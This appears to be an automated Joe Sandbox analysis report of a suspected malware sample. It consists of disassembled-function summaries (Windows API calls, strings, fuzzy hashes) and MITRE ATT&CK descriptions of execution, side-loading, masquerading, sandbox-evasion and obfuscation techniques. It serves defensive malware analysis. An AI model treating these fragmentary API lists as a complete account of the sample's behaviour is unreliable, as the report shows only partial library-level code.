Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: bbee496d66d143a6aceb09c2b3ecdbbb12b096518736a66972fea4b4c1f0e71c
Instruction ID: 95a045bcd53405bf332300516915b1b0be58b454d0465f08151da70b524d98ab
Opcode Fuzzy Hash: bbee496d66d143a6aceb09c2b3ecdbbb12b096518736a66972fea4b4c1f0e71c
Instruction Fuzzy Hash: E9F014B1D11218AFCB008F99D984ADEFBB8FB48314F50802EE505B7240D7B85A048FE4

Function 000DABCA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000DAC55
__alldvrm.LIBCMT ref: 000DAE56
__alldvrm.LIBCMT ref: 000DAE78

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 11928e2537a4dd367eb88350d438216194463e35c46b68634b5d5fb98095dd98
Instruction ID: 4d55490d28d5c074a9669ab0d69f8b485d0d22e90edf0b33820cb0d0563dd725
Opcode Fuzzy Hash: 11928e2537a4dd367eb88350d438216194463e35c46b68634b5d5fb98095dd98
Instruction Fuzzy Hash: C4A13A72B007869FDB22CF18C8917AEBBE5EF56310F18416BE5959B382C6388D41C772

Function 000BB74D Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,000B8D5C,?,?,?), ref: 000BB7F3
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000800,?,000B8D5C,?,?), ref: 000BB837
SetFileTime.KERNEL32(?,000B8AEC,?,00000000,?,00000800,?,000B8D5C,?,?,?,?,?,?,?,?), ref: 000BB8B8
CloseHandle.KERNEL32(?,?,00000800,?,000B8D5C,?,?,?,?,?,?,?,?,?,?), ref: 000BB8BF

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 3b3690a380c1e46ffded94e37ff7fc2deef1d1e3006c87145cbac0cc1835da50
Instruction ID: c1724653cc5ce5f549ef8d1f242649c84009c1b3cd2a165fe974099f2d21d172
Opcode Fuzzy Hash: 3b3690a380c1e46ffded94e37ff7fc2deef1d1e3006c87145cbac0cc1835da50
Instruction Fuzzy Hash: 3141AA31288381ABE721DF24DC55FEEBBE8AF81700F14092DF5D197191DBA4DA48DB52

Function 000B10E0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000B110B
_wcslen.LIBCMT ref: 000B1133
_wcslen.LIBCMT ref: 000B1162
_wcslen.LIBCMT ref: 000B1189

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: fcdbbac6433eb15ba66b4fe2883590db0fabd17de6e1234a352f76928d54beb8
Instruction ID: d040480e68a3938dd10211eecfdcc00d06c7b56dabda4a9d56db88eef914f304
Opcode Fuzzy Hash: fcdbbac6433eb15ba66b4fe2883590db0fabd17de6e1234a352f76928d54beb8
Instruction Fuzzy Hash: 2541D871900665AFCB559FA8CD19AEE7BB8EF05311F00002AFD05F7246DB30AE598BE0

Function 000B851F Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000B8532
_wcslen.LIBCMT ref: 000B8558
_wcslen.LIBCMT ref: 000B85EF
_wcslen.LIBCMT ref: 000B8657

Part of subcall function 000BB966: FindClose.KERNEL32(00000000,000000FF,?,?), ref: 000BB991

Part of subcall function 000BB41F: RemoveDirectoryW.KERNEL32(?,?,?,000B8649,?), ref: 000BB430
Part of subcall function 000BB41F: RemoveDirectoryW.KERNEL32(?,?,?,00000800,?,000B8649,?), ref: 000BB45E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$DirectoryRemove$CloseFind
String ID:
API String ID: 973666142-0
Opcode ID: e83affd8d3f465c0e914ab22e26759c649bbe4c3e0ae7a2fcf4e1fc6b3fa74ce
Instruction ID: ff33ded7dd618f187fa32b7a6e395b1e82da27a9a538931b3177d43abada953d
Opcode Fuzzy Hash: e83affd8d3f465c0e914ab22e26759c649bbe4c3e0ae7a2fcf4e1fc6b3fa74ce
Instruction Fuzzy Hash: C231D971800658AACF31AF64CC45BEE73ADAF44340F05886AF955A7166EF70DEC5CB90

Function 000DDB38 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,62E85006,000D5AC4,00000000,00000000,000D6AF9,?,000D6AF9,?,00000001,000D5AC4,62E85006,00000001,000D6AF9,000D6AF9), ref: 000DDB85
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 000DDC0E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 000DDC20
__freea.LIBCMT ref: 000DDC29

Part of subcall function 000DA7EE: RtlAllocateHeap.NTDLL(00000000,?,?,?,000D5584,?,0000015D,?,?,?,?,000D6A60,000000FF,00000000,?,?), ref: 000DA820

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: cfc8418fa0f54325e58423fe63b4f35820497b70b5f246915f77690e310c5ac8
Instruction ID: faadae3f4e6fe3b6462c7a101dbaec04165283d2270845c81f5ba37f2db38431
Opcode Fuzzy Hash: cfc8418fa0f54325e58423fe63b4f35820497b70b5f246915f77690e310c5ac8
Instruction Fuzzy Hash: F9319A72A1020AABDF259F64DC85EEE7BA5EF00720F05456AFC04DA251EB35DD90CBA0

Function 000CB663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 000CB666
GetDeviceCaps.GDI32(00000000,00000058), ref: 000CB675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000CB683
ReleaseDC.USER32(00000000,00000000), ref: 000CB691

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: f589d872686c3230aac8d51cd1468fa4941a2e26dacc0f37509fdae73dbda47e
Instruction ID: f84935f69bc997eb39fc41d52d426b96da5838159009da3a68dafc8b4c575ba8
Opcode Fuzzy Hash: f589d872686c3230aac8d51cd1468fa4941a2e26dacc0f37509fdae73dbda47e
Instruction Fuzzy Hash: 1BE08C31A85B20EBD3215BA0BC0DBEA3F64AB9A712F088005FA0596590CBB454808FE1

Function 000DC368 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000DC4D4

Part of subcall function 000D51D6: IsProcessorFeaturePresent.KERNEL32(00000017,000D51A8,00000000,000DA154,00000000,00000000,00000000,00000016,?,?,000D51B5,00000000,00000000,00000000,00000000,00000000), ref: 000D51D8
Part of subcall function 000D51D6: GetCurrentProcess.KERNEL32(C0000417,000DA154,00000000,?,00000003,000DA588), ref: 000D51FA
Part of subcall function 000D51D6: TerminateProcess.KERNEL32(00000000,?,00000003,000DA588), ref: 000D5201

Strings

*?, xrefs: 000DC3AB
., xrefs: 000DC68B

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: d880ea29d1525385f5bc4d26a230f40480b8b7b7c38aab8f8975374564cc868a
Instruction ID: 765e9cd902b21eb43d67b5914e17a3e72adf4e00c3a77dc5cac13247093231a9
Opcode Fuzzy Hash: d880ea29d1525385f5bc4d26a230f40480b8b7b7c38aab8f8975374564cc868a
Instruction Fuzzy Hash: C0516C75E0020AAFEF14DFA8C881ABDB7F5EF58314F24816AE855E7341E6759A01CB60

Function 000B80BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B80C3

Part of subcall function 000C1900: _wcslen.LIBCMT ref: 000C1906

Part of subcall function 000BB966: FindClose.KERNEL32(00000000,000000FF,?,?), ref: 000BB991

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 000B8262

Part of subcall function 000BB8E6: SetFileAttributesW.KERNEL32(?,00000000,00000001,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB8FA
Part of subcall function 000BB8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB92B

Strings

:, xrefs: 000B8134

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: ae13258e08d5db40286b77fe053584477a82d5e65f13b9f7d9e4f4e06c6b3875
Instruction ID: 59f2a11796854ea3b0999172a383fbddb64acec4d4cba167285c3d0989faba7d
Opcode Fuzzy Hash: ae13258e08d5db40286b77fe053584477a82d5e65f13b9f7d9e4f4e06c6b3875
Instruction Fuzzy Hash: 04517471900558AAEB25EB60CC56EEE73BCEF46300F4040A9F609A6093DF749F89CF61

Function 000CC66E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000CC6C3
_wcslen.LIBCMT ref: 000CC6DE

Strings

}, xrefs: 000CC6B6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: c79ed17de95f8b0c8bbee1a4f5c99d61f17e85c1bf86e5a6e07f0533e0c5e2b8
Instruction ID: 84c91c4a96044f6d501b4b1f9628eafa4b66ee150b55827b6454ef37ffc29391
Opcode Fuzzy Hash: c79ed17de95f8b0c8bbee1a4f5c99d61f17e85c1bf86e5a6e07f0533e0c5e2b8
Instruction Fuzzy Hash: C421DE225083165AE731EB64D845FAFB3ECDF84760F04052EF648C2182EB64DD488BB2

Function 000C0695 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 000C0620: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 000C063F
Part of subcall function 000C0620: GetProcAddress.KERNEL32(000FA1F0,CryptUnprotectMemory), ref: 000C064F

GetCurrentProcessId.KERNEL32(?,00000200,?,000C0690), ref: 000C0723

Strings

CryptUnprotectMemory failed, xrefs: 000C071B
CryptProtectMemory failed, xrefs: 000C06DA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 2d560d48cdee8c5492571eb3c7b1b4d5043bb0114527c66b871d33c80ed06284
Instruction ID: bebcd54d02488859a6cc9b454c849b7f389d76e57a48d32b884540e9c0697e6a
Opcode Fuzzy Hash: 2d560d48cdee8c5492571eb3c7b1b4d5043bb0114527c66b871d33c80ed06284
Instruction Fuzzy Hash: DF110631E04265EBEB195F20DC85FBE3B58EF40B64B01421AFD056F252DB34AD41DE95

Function 000BCDC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 000BCDE7

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

Strings

%c:\, xrefs: 000BCDDD

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: a298fb1751ad1754244656bd96be641a7900b46e1c20822163361f0d629432a7
Instruction ID: 0c7ac2d29136efdb291fb0603371362f2f6a988c1fb03417812c8471824a991b
Opcode Fuzzy Hash: a298fb1751ad1754244656bd96be641a7900b46e1c20822163361f0d629432a7
Instruction Fuzzy Hash: 8601F563104311BAEA346B699C46EEFA7ECEF95360B40441BF454E6183FB30D840C2B1

Function 000C22FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,000C2419,?,?,000C248F,?,?,?,?,?,000C2479), ref: 000C2302
GetLastError.KERNEL32(?,?,000C248F,?,?,?,?,?,000C2479), ref: 000C230E

Part of subcall function 000B76E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B7707

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 000C2317

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 01b1368e8b7f0888ffdaecbc0ca971446abc1457594b6ee82b40877f4c596772
Instruction ID: 36387f80e29a4341414b77a9b893df2311e3b0aaba9565e7c13a5955ad52680d
Opcode Fuzzy Hash: 01b1368e8b7f0888ffdaecbc0ca971446abc1457594b6ee82b40877f4c596772
Instruction Fuzzy Hash: D9D05B3550856137D60123386C09DEE79155F61774F240B15F339691F1CAB40A5142A5

Function 000BF5BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,000BED75,?), ref: 000BF5C3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,000BED75,?), ref: 000BF5D1

Strings

RTL, xrefs: 000BF5CB

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 971d1fe6decb0fd9db21538bf9c5db714d9ccd707a35c729167dfe7db2752d1d
Instruction ID: 56aca938ca07d2e310fc0e258adf44d446e55b1524258346ba8535dd6c8a8527
Opcode Fuzzy Hash: 971d1fe6decb0fd9db21538bf9c5db714d9ccd707a35c729167dfe7db2752d1d
Instruction Fuzzy Hash: 40C0123164479056E67467716C4DF832E985B04B15F050478B701EE1C0DAF9C8408760

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

